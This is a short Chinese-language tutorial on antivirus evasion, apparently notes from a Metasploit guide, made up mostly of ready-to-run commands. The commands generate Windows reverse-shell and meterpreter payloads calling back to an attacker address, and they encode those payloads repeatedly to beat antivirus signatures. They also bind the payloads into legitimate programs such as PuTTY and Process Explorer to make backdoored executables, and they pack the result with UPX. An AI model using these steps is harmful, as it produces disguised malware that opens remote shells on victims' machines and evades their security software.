面杀技术
使用msf攻击载荷生成器创建可独立运行的二进制文件
msfpayload windows/shell_reverse_tcp O
使用O选项来查看可用的参数msfpayload windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=31337 X /var/www/payload1.exe
躲避杀毒软件的检测
MSF编码器
- MSF编码器是一个非常实用的工具,它能够改变可执行文件中的代码形状
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -t exe > /var/www/payload2.exe
多重编码
``msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw |msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 -t exe -o /var/www/payload3.exe
自定义可执行文件模板
通常情况下,运行msfencode命令时,攻击载荷被嵌入到默认的可执行文件模板中,默认模板文件位于data/remplates/template.exe
.虽然这个模板文件会时有更新,但它永远是杀毒软件厂商在创建病毒库时的重点关注对象。实际上,当前版本的msfencode支持使用-x选项使用任意的Windows可执行程序来代替默认模板文件。在下面的例子中,我们重新对攻击载荷进行编码,并将微软Sysinternals套件中的Process Explorer程序作为自定义的可执行程序模板。
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x work/procexp.exe -o /var/www/pe_backdoor.exe -e x86/shikata_ga_nai -c 5
隐秘地启动一个攻击载荷
将攻击载荷与正常程序绑定
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x putty.exe -o /var/www/putty_backdoor.exe -e x86/shikata_ga_nai -k -c 5
加壳软件
加壳软件是一类能够对可执行文件进行加密压缩并将解压代码嵌入其中的工具。
upx -5 /var/www/payload3.exe
小结
杀毒软件的世界日新月异。当试图对生成的文件进行免杀处理时,应考虑多重使用编码器和加壳软件,或编写自己的专用的工具。